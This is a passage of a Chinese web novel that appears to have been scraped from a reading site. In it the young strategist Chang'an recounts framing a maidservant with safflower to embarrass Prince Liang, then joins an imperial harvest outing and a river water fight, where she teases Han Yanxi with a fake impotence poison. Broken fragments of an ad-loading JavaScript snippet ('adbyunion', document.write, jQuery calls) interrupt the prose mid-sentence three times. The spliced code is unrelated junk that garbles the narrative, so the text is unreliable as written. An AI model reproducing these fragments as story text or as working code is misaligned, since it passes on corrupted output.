“对啊,”我哈哈一乐,道:“就是又当棍子又当蛇,就是要赶在对方下手之前下手,嗯……走别人要走的路,让别人无路可走,或者干脆穿着别人的鞋走,让别人找去吧,保证一找一个不吱声,这会儿还懵着圈儿呢。” 太子等人回味过来,惠王恍然大悟,拍额道:“对啊,谁说打草惊蛇不能用到自己身上,作用不亚于敲山震虎,若只 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 想着防备,即便做好万全准备守株待兔,等到对方找好时机,也会防不胜防,打个措手不及,如此,自己拿着棍子对着草打两下,替别人惊一下自己,利用异常失败的毒害行动,祸水东引,如此被嫁祸的梁王,为了明哲保身,以示清白,怕是火急火燎赶紧扔了莫须有的棍子,这会儿比咱们还期盼姐姐安全分娩呢!” “呵呵,你这招真是妙,对手扣了一身屎盆子,还得被嫌弃又蠢又笨。”韩燕熙少有这样的真诚赞赏。 太子清醒地问道:“只是那姑姑的事,你又怎么全然掌握的呢?” 众人闻言,一脸对呀的样子看向我。我挑挑眉,道:“都说有钱能使鬼推磨了,哪有不透风的墙,你那东宫且漏着呢!”太子脸色变幻,我只做没看见,接着道:“我自然是得先打听这姑姑人品如何,德行怎样,她口碑极差,我才好拿她做筏子一番计划!不然就换个人啦。这姑姑可不是什么省油的灯,郡主小小年纪嚣张跋扈当街殴打我妹妹,就是受她挑唆。她买红花,我原本只觉着许是她经期不畅月信不准,用红花调理身体。我便灵机一动干脆也买红花,正好借机行事,原也没打听出来她还有堕胎的事,只想着夜宴事发后一个劲儿往她身上赖就行,谁叫她身上有红花?接着使劲儿往她家王爷郡主身上泼脏水,消消他们一进京城就不可一世的气焰。谁想到她自己翻出来那些个腌臜事,自作孽不可活呗。她倒是对自己挺舍得,用红花这么金贵的药材,那可是雪域藏地过来的药材,一般人可用不起,我一开始也只想着用点车前子呢,不过也正合适她家主人的身份。啧啧,看来是真急着处理腹中孽障,那红花她倒用的快,就剩了点渣渣,不过就算用完了,我也有给她准备的,跑不了她。” “那荷包……”惠王看了一眼太子,若有所思地问道。 “当然是我替她掉出来的,那驸马爷顾念太子夜宴的初心和体面,又顾及梁王,还顾及各位王爷公主世子郡主,眼瞅着要大事化小小事化了,我肯定不能大费周折,就这么错失良机哈。” “你小小年纪,居然……”韩燕熙看着我,讳莫如深的样子。 我打断他道:“你不要随意定义我哦,我可不想做什么高洁无暇的圣人,要做你自己做去,我的理想自始至终都是做一个谋士,阴谋阳谋,诡计毒计,只要好用就行。而且……我跟本就不是小小年纪,哼。”说完我瞪了他一眼。 不同于别人或赞赏或崇拜的眼神,李椒蹙眉看了我一眼,我只当没看见,我知道他最是反感我工计于心,心思缜密,行事老辣。 事后,没人再去关心那个姑姑最后怎么样了,也没有人揪着不放刨根问底儿红花害人一事罪魁是谁。 没人再见过那个姑姑,就像没人在喝酸梅汤的时候想到红花一样。 我私下向太子解释了我不得不在他夜宴上动手的理由和初衷,太子毕竟出身皇室,他说:“名声是胜者的冠冕!” 他可以不在意自己的名声,但我作为臣子不能不识抬举,还是跪地磕头请罪。他呵呵一笑将我扶起来,说此事罢了,只是让我以后有什么事多跟他商量,他也好有个准备,好好配合我,别像昨晚一样差点把事情大事化小小事化无了,错过了时机,让我一场白忙活。 他不忌惮不在意我的手段,理解赞同我的初衷,他甚至不为我独断专行和利用感到不高兴,只是希望我以后可以和他共谋,给我助力。我感动的抱着他的腰点点头,说自己只是有点不敢和他说,怕他猜忌,既然君臣交心,那以后自己什么事都和他说,和他商量。 他轻轻抚摸我的头,我抬起头对上他面如冠玉的笑靥,他眼里满是温柔和疼爱,一眼万年的霎那间,我心头经年的冰封瞬间崩裂消融,我累世的暗夜,被这道光撕开了一道口子,我看到了那颗传说中的启明星,我感受到我的黎明,已经降临…… 太子是仁德的,他自幼便在权力的中心,一人之下万人之上,在长期的储君培养中,他清楚的知道自己目之所及,心之所想,只要他要,他就一定可以轻易得到,他又怎会不深谙权谋,不通晓如何玩弄皇权?他极其尊重权力,不屑玩弄而已,至于权谋,他向来仁善,慎而又慎,不愿轻易出手而已,他尊重生命,收起上位者对低位者的与生俱来的睥睨和倨傲,他深藏锋芒,却依旧耀眼,他拥有强健的体魄,丰富的精神,蕴含着深厚的情感,巨大的力量,他温柔善良,他内心坚定,他勇敢真诚,他宽厚博爱,他拥有一切高尚的品质,他美好的不像一个君王,却无时无刻不散发君王的威严和气度,接受众生的膜拜,强大的人格魅力,让我着迷让我甘愿臣服。 他干净的像一块无瑕的美玉,而我愿为他承受所有的晦暗,他是我选中的男人,是我此生的支点,我要做他手中的绝世神兵,我要用他的名义建创世奇功! 很久很久以后我才分辨清楚,喜欢和爱是不一样的,爱上一个人,会把人性所有的光辉加注其身,缔造成世间最完美的偶像,沉沦迷失不可自拔,深陷其中甘之如饴…… 我痴痴的看着他,他弯下腰,呼吸喷在我脸上,微微笑着,捏捏我的脸蛋,柔声问道:“怎么了,我脸上有什么看这么入神?” 你眼睛里都是我的样子真的很迷人,你的嘴巴看上去软软的甜甜的,我真的很想亲一个……可我不敢说,我的心里一定是闯进一头小鹿,还是失控的那种,我说不出话来,看着地上我们相差甚远的影子,我的心揪得那叫一个疼呀,我慌张地转身,飞快地跑开了。 身后是他好听的笑声…… 37. 水仗 荣欣大公主很是喜欢《梁祝》的故事,便请乐府的人来向柳花郎和平安请教,柳花郎借机成为宫中乐师,每日去乐府当值,亲自选人组建了宫廷歌舞剧团,还负责为太后寿宴准备两个章节曲目,此等机遇对乐师来讲千载难逢,大任落于肩上,他格外珍惜,分外重视。 平安还是每日过着简简单单的小日子,莳弄莳弄花草,打理打理小院,弹琴唱歌自娱自乐,再就是信手游鞭,到马场来找他的意中人——郑清。 没吃过猪肉,也见过猪跑,但我实在不理解她对郑清的感情,她说她喜欢干净,但是郑清就算脏兮兮的也可以。她讨厌马粪的味道,可是郑清清除马粪弄了一身味道,她抱着他的时候一点也闻不到,只满心满眼的欢喜,丝毫没有要嫌弃的念头。 “爱,需要理由吗,需要用什么标准去衡量吗,需要思考很久,才决定去不去爱吗?”平安看着远处马背上英姿飒爽的少年郎,道:“他在别人眼里只是个马奴,可却是我的神明。” 我看着一脸幸福的平安,心道:既然郑清可以让妹妹这么全心全意的幸福,他的身份是什么又有什么重要的呢?好,那我再努力一些,让你们一点后顾之忧也没有,永远这样简单幸福。 芒种是一年最忙的时候,汉家的贵族也是要耕作的,为了不与民挣利,他们种出来的粮食,大都运送各地用来救灾施粥,我和堂邑夫就曾吃过这部分粮食救命。皇室也有单独的麦田,面积不大,一共九亩五分地。 依照惯例是由皇帝带着自己在京的儿子们每年亲自种下亲自收割,收上来的麦子,叫做稷粮,赏赐给有功的文臣武将,是真正的皇粮,能吃一顿皇粮,是北汉文武百官最荣耀的光辉。 由于刘景身体近几年不大好,几个儿子相继离京,所以这些年一直是太子和秦王代为收麦,秦王年幼,一般是到地头伺候茶水,地里的麦子都是太子和伴读们收的。 今年情况特殊,刘景几个儿子都回来了,想着今年的稷麦,就由太子哥儿几个收割。可偏偏梁王有太后撑腰,在收割稷麦一事上肯定是要继续风光一把的。 看着地里劳作的梁王,太子伴读们心有不服,德王靖王等亲王敢怒不敢言,却始终要维持体面,恭敬温和的样子,在稷田边上端端正正站成一排。庆王和逍遥王世子也来了,跟着亲王们一同站着。齐王是乘着躺椅被人抬着来的,上次夜宴齐王因为身体原因,没有赶上赴宴,太子便专门请了苏和去给他调理一番,施针用药不几日便也能出门了。秦王还像以前一样在地头伺候茶水,到底是年幼,不像哥哥们成熟稳重,一脸不情不愿,倒也机灵,知道在梁王起身转头时,堆着满脸的笑意,殷勤的带着人上前送水,送毛巾。 陛下和太子,庆王,逍遥王,坐在树荫下帐子里,有说有笑,难得清闲。 学宫里的学生,也放了两日麦假,到自家庄子上抢收。我叫堂邑夫去魏宁儿家帮忙去了。 稷麦田的北边是一小片桑树,皇后崩逝以后,年年春天都是淑贵妃在这里举行亲蚕礼。淑贵妃每年带着女官们养蚕缫丝,做好的蚕丝布匹,也会随着稷粮一同赏赐下去。 我选了一颗很健壮的桑树,采摘了好多桑葚子,洗干净用荷叶包好给刘景送过去,然后又挑了一棵又高又大,看着有些年头枝干却异常健壮的老桑树,一跃而上,趴在横生的粗壮枝干上,一边看书一边吃着用荷叶盛着的桑葚子,累了就随性趴着睡会儿,把桑葚子吃完,甩掉荷叶里面的水渍,往脸上一扣。 桑葚的汁液抹到皮肤上是洗不掉了,得几天才能褪去。我用手抓着吃的豪放,小手就不必说了,脸蛋儿简直没法儿看了,这会儿像个大花脸猫,却并不在意。 刘景站在树下,掐着腰仰头看着我道:“真是随性!” 我像个猫儿一样,伸了伸懒腰,闭着眼继续打盹,道:“此时情绪此时天,无事小神仙。” “哈哈哈哈,好个无事小神仙,”刘景笑道:“小懒猫儿别躲懒,下来。” 我取下荷叶,睁开眼侧头看着他,问道:“做什么?” 刘景看着花脸猫儿般的我,又是一阵开心大笑,消停下来才回道:“下来玩儿啊。” “你一天天的就知道玩。”我被他笑得有些不悦,丢下一句,便躺回去,扣上荷叶,准备继续睡觉。 “啧,你这孩子,赶紧下来,我接着你。”刘景好似责怪,实则宠爱,说着已经展开双臂,做好了接我的准备。 我起身看了看他,无奈地笑了笑,嘟囔道,我哪用你接啊。把荷叶丢给他,他一把接住,然后一脸得意——你看我接的准吧?然后扬扬下巴示意我赶紧跳下去。老小孩,还真是。我笑着摇摇头,随即大喊一声:“我来啊,啊……”话音未落,我和刘景一起倒在地上。 我们俩都懵了一下,我有些慌张地抬头看着压在身下的刘景,刘景也十分尴尬地看着我,还未说什么,已经有人上前一把把我拎小鸡儿一样拎起来。 “大胆……”“大胆!”前来护驾的李远和地上的刘景异口同声。 向来尽职尽守,被陛下特殊礼待的李远一愣,手下一顿,只听刘景把一众要扶他起身的宫人都遣开,对他命令道:“快把他给我拎回来。” 李远看看手中的我,有些茫然,然后听话地把我送回刘景怀中,轻拿轻放。 刘景大概也觉出刚才对李远说话确实有些生硬,便又缓和道:“是朕让他跳的,是朕没接好,是朕自己摔的,这么大声,你再把他吓到。那朕不拦着,你都给他扔了。”说着拽了拽我的耳朵,摸了摸我的头发,道:“搢搢耳朵吓不着,摸了摸毛儿吓不着。”这是民间哄受惊小孩儿的,我都成年了,感动这份父爱,却并不享受,抬头强调道:“我不是小孩子了。” “在我眼里你就是小孩子啊。”刘景对我简直宠溺的超出任何一个皇子公主。 黄门郭信,就是那日我初遇刘景时随身伺候的老奴,识趣的站在远处,这会儿才赶上前来,不料还未站定,刘景就叫所有人都到远处值守。 踱步过来的庆王逍遥王,看到这边情形,脚下都有些迟疑了。太子却蹙了蹙眉头,对刘景的这一摔十分担忧。 逍遥王问身边的太子道:“太子大侄儿,早我就想问问这小童子什么来路,陛下这么宝贝?” 庆王五十多岁,逍遥王四十五六,陛下四十出头,哥仨儿差的不多,自打入京三日一小聚,五日一大聚。这些时日见我在刘景身边晃荡过几次,知道刘景宠爱我,今日这一番,更加震惊了。 太子没来得及做回答,已然快步匆匆来到刘景身边,蹲下身子,满脸心疼和关心,问道:“爹爹摔到哪了没?”又责备我似的,柔声道:“长安你也是,怎么没轻没重的。”太子看着我被桑葚汁液染的大花脸,嘴角抽了抽。 我一副很愧疚的样子回道:“我也没想到……”陛下这么弱。我不敢把话说全,只又往刘景怀里钻了钻。 刘景哈哈大笑着起身,说没有摔到,伸手牵着我,低头道:“要不你上去,重新跳一遍,我这次肯定能接住你。” 这时庆王和逍遥王已经上前来了。我顾不上给他们行礼,只仰着头看着刘景,撇了撇嘴,有些失望,有些埋怨道:“要是知道陛下玩的这么无聊,我就不下来了。” 刘景闻言哈哈大笑,很是开怀,牵着我,对众人道:“走走走,咱们下河抓鱼去,两位老哥哥你们今日也开开眼,我这小宝贝疙瘩,可是抓鱼的高手,那弓鱼术和我一样地道。” 庆王和逍遥王小时候也是经常下河捉鱼,上树掏鸟的主儿,闻言立马来了兴致。 一听下河抓鱼,大家都活跃起来,郁闷一扫而空,各位亲王,和庆王逍遥王世子,以及太子伴读们都跟了过来,就连伺候茶水的秦王也来了,齐王也让人将他抬着跟上…… 梁王面朝黄土背朝天,专心致志地收割麦子,每个动作都仿佛精心设计,连擦汗都一板一眼,十分做作。从麦地里直起腰来,等了一会儿,没有人奉茶没有人递毛巾,更没有奉承他辛苦,劝他稍作休息,安静的只能听见风吹麦田的声音。他环顾四周,一看就剩下守备的护卫和宫人们低着头,诚诚恳恳的站在麦田边上。正了八经看他表演的人都不见了,他心下一凉,顿时没了激情,气不打一处,愤怒翻涌着一把扔了镰刀,却又不得不捡起来继续干下去。 梁王进京只带了最宠爱的郡主,世子和几个儿子尚且年幼都没跟着来,就算能帮着割稷麦,这会儿找太后请旨让他们从淮南国星夜赶来,也来不及和他一起收麦子了。他气恼地不行,一边继续割麦子一边大叫:“人都去哪了,都去哪了?也不用着你们辛苦下地干活,都躲哪去了?站在一边看着,还累坏了不成?有我累吗?有我累吗?都去哪了?!皇兄也不见了,也不管管,真是当哥也不行,当爹也没样,不好好教育孩子们,还带着他们躲懒,母后你可得好好管管……”说着说着就伤心起来,竟抹起了眼泪…… 到了河边,大家都轻装上阵,宽衣解带,只穿了裤子或者里面的短裤,裤腿卷到大腿根儿。我像之前那样仅仅穿了一个小短裤,还把自己抹成一只小泥猴子。我这个样子从芦苇荡后面出来,众人见了都哈哈大笑,捧腹不止,韩燕熙那个大傻子简直要笑死,一手搭在太子肩头,一手扶着肚子弯着腰,笑得都流泪了。我狠狠地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 瞪了他一眼,刚才看我大花脸也就数他笑得欢,笑吧笑吧,笑死算了。我把衣服和首饰聚在一起,随手放在岸边,去牵刘景的手一起下河。 太子和惠王眼睛不知道往哪看的样子,说不出和平时哪里不一样,总之很忙碌,慌里慌张地相互扶着拉着韩燕熙也下了河。 庆王身有残疾,是年轻的时候和太祖刘国在北面战场打了胜仗回来,太后那时候年轻,收到捷报,便心情激动,带着还尚未成年的逍遥王骑马出城来接久别的夫君,不慎惊了庆王的马,庆王从马上跌落,摔伤了胳膊,那只胳膊便再也伸不直了,也抬不起来,更别说再持剑上战场了。后来慢慢萎缩,平时藏在宽阔的袖子里,这会儿跟着下河摸鱼,才露出来。 我打眼一看就知道不是什么难治的伤,也不知道当时是哪个庸医给耽搁成这样子了。 刘景见我时不时端详庆王的手臂,没多言语,我见他不言语,我也没言语,只和他一起继续摸鱼。人这么多,其实是不好摸鱼的,但大家就图一乐,意趣本不在鱼。但如果真摸到鱼,那也是很兴奋的。没一会儿在大家的围追堵截,合力包抄,努力配合下,刘景摸上来一条大鱼,洋洋得意哈哈大笑着炫耀,众人正欲庆贺,岂料那鱼竟脱手跑了,刘景紧随上前摸了几把,最终还是给跑了,他哈哈大笑,叫众人继续。 没过一会儿,大家或多或少都有收获。 刘景摸了一会儿,拎着我弓好的鱼,吆喝庆王逍遥王老哥俩一同上岸,坐在遮阳帐篷下,叫人把鱼处理了,燊起篝火开始烤鱼。他们烤的鱼其实几乎不能吃,也就是喜欢烤鱼的乐趣罢了,他们烤完,随侍们要拿到一边再烤一烤才能食用,逍遥王叫人摆了酒菜,老哥仨开怀畅饮,看着年轻人,回忆过往,闲话家常,好不逍遥。 摸鱼到底是其次,大家最后摸着摸着,也不知道是谁先起的头,反正最后拉帮结派打起水仗来了。 韩燕熙就是个大傻子,明明我和他都是太子这边的,他却逮着我不放,不管我泼谁,他都泼我,不管谁泼他,他都泼我,满河里这么多人,他逮着我不放,发疯一般使劲泼我。男孩子泼水仗,和女孩子是不一样的,这些男人们泼起水来,都不给对方留气口,手掌又大,扒拉的又快,力度还强。不用内力我感觉我都让水泼的站不住脚。尤其韩燕熙最是过分,恨不得把整条河泼我身上,我都给他泼急眼了。 刘景他们在岸上看我们打水仗,也兴奋起来,在那里欢呼助威。我一个猛子躲在太子身后,韩燕熙杀红眼了吧,不管不顾,火力不减,冲着太子就来了。太子给韩燕熙泼得差点背过气儿去,一个趔趄在河里站不稳当,一腚坐我头上,我在水中用头顶住,赶紧扶住他肌肉坚实的窄腰,希望他恢复战斗力,回击韩燕熙,将其制服。然而太子被泼的毫无招架之力,根本睁不开眼,一手伸向前挡住汹涌的水花,一手不住的抚去脸上的水,侧头大口呼吸…… 惠王见势过来帮忙,把我们挡在身后。太子这才有了喘息的机会,忙回头看我问要不要紧,却不等我回应,扫了我雪白的肩颈一眼,便像触电一样迅速转过头去,和惠王一起朝韩燕熙开始猛烈反攻。 都来不及等我说声没事吗?那别问啊?我有些生气。男人玩心就是重,我觉得太子的关心很是敷衍,要是不真心可以不关心,专心打水仗去吧,省的分心又多挨泼了好几下。 韩燕熙简直成了疯狗子,围着我们转着圈儿的轮圆了手臂朝我们泼水,太子和一众伴读围攻他,亲王世子们也加入讨韩阵营都不行,他就盯死我了,我头发都给他泼散了,我气得潜入水底躲避,韩燕熙警觉,以为我又要故技重施,赶紧勒紧腰间绳带,保卫他的短裤,也潜入水底。 我像一条水蛇一样,穿过大腿林立的河水,绕到他身后想勒住他脖子将其制服,却不料反被他一个翻身紧紧地环抱住腰身。我立即像鱼一样翻腾,挣脱开来,他趁机在我腰上掐了一把。 我恼羞不已,运气一掌将他拍飞出去,他冲出水面在天空划出一道彩虹一样的弧线,这厮在天上也不忘浪荡,姿态优美的像个美人鱼,惊艳了众人,落水溅起一个大水花,水花落下,他浮出水面,并不在意我刚才将他打飞,反而得意地看着我哈哈大笑。 惠王看他那样子,又见我一脸恼羞,忙上前到我身边来,小声问我是不是吃亏了。我撅了噘嘴,没说话。惠王还要问我什么,太子就发话了。 太子见韩燕熙没事,便不管他,转头对着在水面只漏出一个小小脑袋的我,温和提示道:“长安,咱们玩闹不可使用内力啊。” “他掐我腰。”说着我嚯的一下站起身来,指着韩燕熙,不满的告状。 38. 拿捏 韩燕熙一个猛子游回来,站起身来,不要脸不要皮的道:“小孩没有腰,小孩哪有腰!?” 我们摸鱼是在浅水区,打水仗打着打着就到了深水区,河水到他们这些男子的肚脐,我站直了身子反而会被河水没过头,还不如浮水。我只顾着生气控诉,这一站适得其反,惠王一把握住我的小胳膊,将我扶稳,我重新浮水漏出一个小脑袋来。 我这个站起身的动作,仿佛把太子惊吓到了,他随着我动作背过身去,慌里慌张的假模假样的去看韩燕熙刚才的位置,到处寻找,却不见人影,听到韩燕熙说话,才又收回视线,看着已经游回他身侧的韩燕熙,尴尬的不住清嗓子。 我气得不行,不顾太子的反常,只瞪着韩燕熙,扯着嗓子道:“你才没有腰,你全家都没有腰。”我又对着太子控诉道:“殿下,他说我没有腰。” “他胡说,谁说你没有腰,你明明就有腰,你腰……”果然太子还是站我这边的,他给我撑腰,一边说着一边伸出手来比划了一下,道:“有这么粗!”闻言,我脸上除了挂着对韩燕熙的愤怒,还有立马阴沉下来的失望和恼羞。 似乎看出我对他的回答很不满意,太子迟疑了一下,又往粗里比划了一大圈,道:“这么粗?这么粗可以了吗?” 我顾不得观察众人的反应,独见韩燕熙简直要笑死,在水里哈哈,翻腾,挥臂……我想把他揍死! “……嘤嘤嘤……”我瞪了太子一眼,都气哭了,抹了把泪,决定不要跟这些人玩了,运气把岸上的肚兜吸过来,在水中穿上便上了岸。 太子不明白我为什么是这个反应,惠王过去小声跟他说,对姑娘来说,没有腰和腰很粗是一个意思,长安这会儿觉得你和韩燕熙是一伙儿欺负她的。 我整理好总角,掀起肚兜看了看腰侧,果然都给掐红了。回头瞪着还在水里得意翻腾庆祝胜利的韩燕熙,心里都要气炸了,眼睛一转,计上心头,勾起嘴角笑了笑。 我悄悄绕到芦苇荡后面,回到水里,趁着韩燕熙不备,我游到他身边,对着他肩膀拍了几下,他停下动作,回头疑惑的看着我,问:“干嘛?拍我干嘛,会不会打水仗?打水仗得这样,哥教你……”不等我回答,他又开始对着我猛泼水,我却不恼,顶着迎头水花,上了岸。 然后,转身双手掐腰,得意洋洋的样子,大声对着水里玩得正欢的韩燕熙,道:“韩燕熙,你中招了,你这辈子——不举了,啊哈哈哈哈,此毒乃我独家秘制,除了我无药可医,啊哈哈哈哈……风水轮流转,你的报应就是我,啊哈哈哈哈……” 话音落,所有人都愣住了,把视线慢慢从我身上转移到韩燕熙身上,神色各异,我不去探究,运气震干衣服,转身走在刘景身边吃鱼,味道不怎么样,但我吃得特别有嚼劲儿,腰板挺直,表情高傲,像一只在外面打仗赢了的小狗子。我知道韩燕熙不敢到刘景眼前儿为难我,就越发得意猖狂起来,使劲儿吧唧嘴,摇头摆尾。 刘景见我一副狗仗人势的样子,忍俊不禁,给我布菜,让我吃慢点。 聪明如韩燕熙怎么会听不懂我话里的意思?可能打击太大,他在水里愣了半刻,才有所反应,低头看了看水里的下半身,一脸惊慌和不可思议,又摸了摸,侧头看了看刚才被我拍过的地方,复又看了看下身,周身运气,再三确定了一下真的没反应,于是带着万分怒气,恼羞的红了眼眶,对着我大吼:“长安,你竟敢……你居然……你快给我解了……快点,快……” “做都做了,你还问我敢不敢?”我原本的大花脸,这会儿因为吃鱼,嘴巴和胖嘟嘟的脸蛋都是烤鱼的焦黑,滑稽程度比之刚才,有过之而无不及,众人忍俊不禁,可是这次韩燕熙笑不出来了。我瞪了他一眼,心道:刚才不笑得挺欢的嘛,差点笑死,这会儿笑不出来了吧?然后在他的注视下向刘景身边又靠了靠,意图十分明确。 太子和惠王扶着一下子虚弱的不行的韩燕熙上岸,坐在营帐的行军椅上,太子给他披了件外袍,安抚劝告他冷静一下,别太过担忧,等长安气消了,会给他治好的。 韩燕熙猩红着眼睛,也不管陛下和庆王逍遥王在场,对我咬牙切齿道:“士可杀不可辱!” 我一边吃着鱼,一边漫不经心的翻着不屑的白眼,然后故作惊讶,一手虚掩着嘴巴,夸张地道:“哦哟,也太吓人了吧?天下竟然还有这样的请求?!那我必须得如你所愿。”说着,随手摘了一片地上的草叶,挥手运气甩了出去,草叶内卷如针如刺,停在韩燕熙的喉咙处悬住。 韩燕熙知道自己已经失了先机,再运气也已然来不及抵挡,他僵着身子,试探着缓缓挪动身体,草叶随着我的内力指向跟着他移动。他躲无可躲,最后只能又狠狠地咬了咬后槽牙,愤愤地看着我,眼睛更加猩红,一脸不服,又无可奈何。 我就喜欢看他受屈辱的样子,我收了内力,哈哈大笑。刘景见我如此,脸上竟分外有光,好像自家孩子很给爹娘争气的样子。 按理说逍遥王和庆王也是见过吃过很有阅历的,不应该一脸没见过世面的样子,可偏偏各种夸我,夸陛下慧眼识珠,得了这么一个小宝贝。 韩燕熙捡起地上的草叶,试着运气,却拼尽全力也不能把草叶飞出几步开外,更不能操控,悬停。不经蹙着眉头带着怒意又一脸疑惑,嘟囔:长安的内力这么深厚?! 其他人,也有不少内力深厚者,依样画葫芦暗自尝试,全都失败。连李远将军,也只能运气将草叶发射出去,不能如我一般操控。 以草叶做针为刀,内力深厚是一方面,运气心法走势是另一方面。内力再深厚,不懂怎么运用心法也是徒劳,就如他们这般。 韩燕熙将草叶撕个粉碎,牙都要咬碎了,站起身来,想伸手指我,抬到一半又放下,瞪着血红的眼睛,对着我怒斥道:“长安,你真狠哪,真是恶毒,天底下难找。” 我翻了个白眼,“真是聒噪。”然后拿起刘景身前几案上的黄瓜,道:“这算什么恶毒,我还有更狠的。”说着看着他,眼里全是威胁恐吓和玩味,将手里的黄瓜晃了晃,然后——咔嚓一下,折断。 韩燕熙吓得噤了声,周围的男儿们也都一个激灵,这下世界终于安静了,我坐下惬意的吃……黄瓜,新下来的黄瓜,头顶着花儿,那叫一个脆啊。 李远将大儿子拉到一边,问道:“那个就是——那个长安?”李远将军分明已经确定,这个小童子就是李老太太常常念叨的,曾在他小儿子房里的做过婢女的长安。其中恩怨他也大略知道,李椒的武艺,突然精进迅猛,原本只以为是突然开了窍,如今看来就是受此人指点……想来老夫人说当年椒儿多亏了那孩子不是空穴来风,是他公务繁忙,对小儿关心不足,只道一个婢女而已,一直没往心里去。 李大公子点点头回答父亲:“是”。 “真是好身手啊!天纵奇才也就是这样了吧!”李远赞叹不已,又很是疑惑,问道:“那……到底是个丫头还是个小子?” 李大公子思考了一下,才回复道:“奶奶说是个丫头,弟弟坚称是个小子,我也分不清。” 李远一脸思考,最后对大儿子道:“这样的人不是咱们家可以招惹的,叫你弟弟敬而远之。”李大公子闻言点点头,深深看了一眼太子身边神情不明的弟弟李椒。 齐王身子弱,又因名声不好,不得陛下喜欢,便在不远处的阴凉下,半卧于躺椅上安静地看书。我们这边有热闹,他也跟着看,时不时跟着呵呵笑一笑。 一番折腾,大家平静下来,太子耳朵进水了,我用内里把水吸出来,又帮他掏了掏耳朵,他被我伺候得很舒服,夸我很好。我又伺候惠王一番,惠王夸我很棒。韩燕熙也来凑热闹,非要我也给他把耳朵里的水吸出来,还要我也给他掏掏耳朵。 我道:“我们耳朵怎么进的水你心里没点逼数吗?你自己耳朵进水那是报应,跟我们有一点关系没有,凭什么伺候你?” 见他又要暴跳,我赶紧松开外衣,扯了扯肚兜,给他看看我侧腰,道:“你看你掐我那把,使了多大劲儿?我也不是不能伺候你,就是怕自己忍不住给你耳朵揪下来,你要是放心我伺候,我也不是不可以,脑仁儿也能给你吸出来。” 韩燕熙没话说了,太子蹙眉指责他道:“你怎好下这么重得手,她毕竟是个……”惠王拉了太子一下,太子没再继续说下去。韩燕熙有些理亏的样子,低声道:“我哪用力了,是她自己细皮嫩肉的,轻轻一捏就红了,我根本就没使劲儿我……” “哼。”我见不得敢做不敢当的人,整理好衣服,黑着脸转身离开,经过齐王身边,我扫了一眼,觉得他看的那本书不错,顿住脚犹豫了一下,心里实在痒痒,就忍不住凑过去蹭书看。果然是本好书,不经看得入迷。 最初,我原本是在躺椅后面跟着看,不知不觉慢慢移到躺椅一侧跟着看,后来干脆趴在躺椅的扶手上,支着下巴认真看起来。齐王自然察觉,但还和之前一样保持着微微笑,并没有什么异样,应该是乐意我蹭书看的,我便越发大胆起来。 太子惠王等亲王世子都去刘景身边围坐,闲话家常,韩燕熙见我在齐王身边停留,离开刘景身边有些距离,就跑过来讹我。 “长安……”他试探的叫了一声我的名字。 “滚!”我最烦看书的时候有人打扰。 “好哩!”韩燕熙嘴上顺从地答应,却并不离开,他没话找话说,踅摸了一圈,终于找到话题,“你这肚兜真是难……”他见我闻言顺着他的视线低头看了看肚兜,抬头时眼里满是杀气蹙眉瞪他,就斟酌了一下用词,“得一见,绣工真是……这绣的什么啊?”他实在夸不下去了,忍不住问道。 “这是舒克和贝塔,是我妹妹平安给我绣的!”我很自豪的松了松外衫的交领,扯了扯肚兜,给他显摆。 齐王也侧头看了看。 “舒克,贝塔?”韩燕熙好看的脸,此时皱成一团。 “是两只很厉害的老鼠,会开飞……说了你也不懂。”我一副高深莫测。 “老鼠?”韩燕熙看了看肚兜,又看着我问。他的脸更皱巴了,仿佛在问:你妹妹还有多少事是我不知道的? 那不多了去了吗?你才知道多点。我翻了个白眼。 韩燕熙再次向我确定,道:“肚兜上绣俩老鼠?” “对呀,你看这儿,这不绣着字吗?”我指了指一边歪歪扭扭皱皱巴巴,绣线打了结,有些疙疙瘩瘩的字,念道:“鼠,我,最,开,心,鼠我最开心,你看。” 韩燕熙和齐王一同趴上来,眯了眯眼仔细看了看,嘴角都不自觉抽了一下。 “平安……平安的绣工还真是……”韩燕熙是真找不到词来形容了,就卡在那了。 “怎么啦!?敢嫌弃我妹妹的绣工?你也配!快滚!”他自然不肯滚,对我百般央求纠缠,我还一心想着看书,简直对韩燕熙不胜其烦,想着赶紧打发他,就缓和语气,尽量轻柔的和他说,刚才是吓唬 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他的,根本就没把他怎么样,要他不必担心云云。他闻言安静了一会儿,坐在我身边的大鹅卵石上,低头不语,喉结上下滑动,好像努力尝试了什么感官上的变化,结果不如他意,便又闹起来,说我骗他,就是不给他治好。 我让齐王先别翻书等我会儿,转头就对韩燕熙认真说道:“住嘴吧个大老爷们儿,吵吵个屁,我就是再生气,也不会真的折辱你的尊严,你觉得自己不行,是这场合不对,陛下王爷们都在,齐王就在你跟前儿,你心里不紧张啊?一群大老爷们儿,你有反应才怪,你去找个小娘们试试一准儿就信我了,老娘们也行,快滚,别打扰我看书,不然我让你两腿空空。” 韩燕熙看着我不像是开玩笑的样子,却还是一脸的不信,偏又无可奈何,嘟囔了一句,“你可真勇,什么都敢说啊。”起身就去太子那边。 “不仅敢说,我还真敢干,就怕你不敢试,哼!”我看着他去找太子,一个念头跳了出来,不禁心里犯嘀咕:雾草,这家伙该不会真如传闻中那样和太子有一腿吧?又看看正直端庄的太子,觉得应该不会,谣言终不可信。但看着韩燕熙精致的脸,又不禁动摇。反复几次,我摇摇头,摒弃所有杂念,转头继续和齐王安心看书。 齐王温文尔雅,起初每次看完,都要等等我。后来我的速度倒比他快了,我看完就塌下肩膀百无聊赖的等他,他翻页,我就来了精神,直起身子,两眼放光聚精会神的看。 齐王忽然看着我有些愣神,久久不翻页,我看了他一眼,用下巴指了指书,示意他赶紧翻页,这些小动作在上位者面前,其实是有些失礼的,但齐王觉得甚是可爱,不禁勾起嘴角温和微笑,然后用好看的手指翻开新一页,我又满意的直起身子凑过去看起来。 “你……我名声不好。”齐王是有些自卑在身上的,支支吾吾道。 “巧了,我名声也不好。”我看着书上的文字,轻松道。我明白他话里的意思,他声明狼藉,就算是天子的儿子,也没人愿意靠近他,他暗示我离他远点,不然会遭人白眼。可是白眼这东西,我看的多了,早就不在意了。 